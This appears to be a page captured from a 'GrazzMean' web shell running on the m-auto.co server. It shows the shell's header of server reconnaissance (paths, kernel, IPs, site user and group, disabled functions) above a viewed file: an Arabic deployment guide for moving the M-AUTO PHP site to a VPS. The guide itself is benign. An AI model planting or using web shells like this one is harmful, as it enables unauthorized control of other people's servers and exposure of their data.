shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/ [ drwxr-x--- ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : DEPLOYMENT_GUIDE.md
# دليل نقل مشروع M-AUTO إلى VPS

## المتطلبات الأساسية

### متطلبات الخادم
- PHP 7.4 أو أحدث
- MySQL 5.7 أو أحدث (أو MariaDB 10.2+)
- Apache مع mod_rewrite
- SSL Certificate للدومين m-auto.co

### الإضافات المطلوبة لـ PHP
- mysqli
- mbstring (للدعم العربي)
- gd (معالجة الصور)
- curl
- json
- fileinfo
- zip

## خطوات النقل

### تحضير قاعدة البيانات

#### تصدير قاعدة البيانات من XAMPP
```bash
# تشغيل سكريبت التصدير
http://localhost/m11/export_database.php
```
أو استخدام phpMyAdmin:
- اذهب إلى phpMyAdmin
- اختر قاعدة البيانات m11
- اضغط على "Export"
- اختر "Custom" export method
- تأكد من اختيار "utf8mb4_general_ci" للترميز

#### ب. إنشاء قاعدة البيانات في cPanel
1. ادخل إلى cPanel
2. اذهب إلى "MySQL Databases"
3. أنشئ قاعدة بيانات جديدة (مثل: username_m11)
4. أنشئ مستخدم قاعدة بيانات
5. اربط المستخدم بقاعدة البيانات مع جميع الصلاحيات

#### ج. استيراد البيانات
1. اذهب إلى phpMyAdmin في cPanel
2. اختر قاعدة البيانات الجديدة
3. اضغط على "Import"
4. ارفع ملف .sql المُصدَّر
5. تأكد من اختيار "utf8mb4" للترميز


### 2. تحديث الإعدادات

#### أ. تحديث إعدادات قاعدة البيانات
عدّل ملف `includes/config.php`:
```php
// Production settings
define('DB_HOST', 'localhost');
define('DB_USERNAME', 'your_cpanel_db_username');
define('DB_PASSWORD', 'your_cpanel_db_password');
define('DB_NAME', 'your_cpanel_db_name');
```

#### ب. تحديث الروابط
```php
define('BASE_URL', 'https://m-auto.co');
define('ADMIN_URL', 'https://m-auto.co/admin');
```

### 4. إعداد SSL والأمان

#### أ. تفعيل SSL

### 5. اختبار الموقع

#### أ. تشغيل فحص الخادم
```
https://m-auto.co/server_check.php
```

#### ب. تعيين الصلاحيات الصحيحة
```bash
# للمجلدات
find . -type d -exec chmod 755 {} \;
# للملفات
find . -type f -exec chmod 644 {} \;
# للملفات القابلة للتنفيذ
chmod 755 *.php
```

## إعدادات الأمان الإضافية

### 1. حماية الملفات الحساسة
تأكد من وجود هذه الأسطر في `.htaccess`:
```apache
<Files "includes/*">
    Order Allow,Deny
    Deny from all
</Files>
```
© 2026 GrazzMean